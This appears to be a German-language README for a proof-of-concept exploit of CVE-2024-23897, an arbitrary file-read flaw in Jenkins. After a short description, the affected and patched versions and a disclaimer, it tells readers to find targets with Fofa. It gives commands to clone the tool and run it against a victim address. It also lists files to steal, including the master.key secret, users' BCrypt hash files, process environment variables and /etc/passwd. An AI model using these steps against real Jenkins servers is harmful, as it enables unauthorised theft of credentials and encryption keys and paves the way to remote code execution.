
POC - Jenkins Datei-Lese-Schwachstelle - CVE-2024-23897
CVE-2024-23897 ist eine kritische Schwachstelle in Jenkins, die es nicht authentifizierten Angreifern ermöglicht, beliebige Dateien im Dateisystem des Jenkins-Controllers zu lesen. Diese Schwachstelle entsteht durch eine unsachgemäße Behandlung von Befehlsargumenten in der args4j-Bibliothek, insbesondere bei Befehlszeilenoperationen, bei denen ein @-Zeichen gefolgt von einem Dateipfad zu einer unbefugten Offenlegung von Dateiinhalten führen kann.
Diese Schwachstelle stellt ein erhebliches Risiko dar, da sie Angreifern den Zugriff auf sensible Informationen wie kryptografische Schlüssel und Konfigurationsdateien ermöglichen kann, die für weitere Angriffe, einschließlich Remote-Codeausführung (RCE), ausgenutzt werden können. Das Problem ist besonders alarmierend angesichts der weiten Verbreitung von Jenkins in CI/CD-Pipelines und der Anzahl weltweit exponierter Jenkins-Instanzen.
Ein Sicherheitsupdate, das diese Schwachstelle behebt, wurde in Jenkins-Versionen 2.442 und später sowie in Jenkins LTS 2.426.3 und später veröffentlicht. Benutzern wird dringend empfohlen, ihre Jenkins-Installationen zu aktualisieren, um dieses Risiko zu mindern und sensible Informationen zu schützen.
Mehr dazu — CVE-2024-23897
Haftungsausschluss: Dieses Proof of Concept (POC) dient ausschließlich Bildungs- und ethischen Testzwecken. Die Verwendung dieses Tools zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze zu befolgen. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.
Um potenzielle Ziele zu finden, verwenden Sie Fofa (ähnlich wie Shodan.io):
Betroffen sind Jenkins-Versionen bis 2.441 und Jenkins-LTS-Versionen bis 2.426.2.
Klonen Sie das Repository:
git clone https://github.com/verylazytech/CVE-2024-23897
Führen Sie den Exploit aus:
python3 CVE-2024-23897.py -u <Victim_ip:port>

Geben Sie die Datei, die Sie lesen möchten, in die Shell ein (in diesem Fall /etc/passwd):

Einige Dateien, die von Interesse sein könnten:
/proc/self/environ Umgebungsvariablen einschließlich JENKINS_HOME/proc/self/cmdline Befehlszeilenargumente/var/jenkins_home/users/users.xml Speicherorte der Benutzerkonten/var/jenkins_home/users/<user_directory>/config.xml BCrypt-Passwort-Hash des Benutzers/var/jenkins_home/secrets/master.key Geheimer Verschlüsselungsschlüssel/etc/hosts Lokale DNS-Auflösung unter Linux/etc/passwd Linux-Benutzerkontenusage: python3 CVE-2024-23897.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]
options:
-h, --help show this help message and exit
-u URL, --url URL Jenkins URL
-f FILE, --file FILE File path to read
-t TIMEOUT, --timeout TIMEOUT
Request timeout
-s, --save Save file contents
-o, --overwrite Overwrite existing files
-p PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag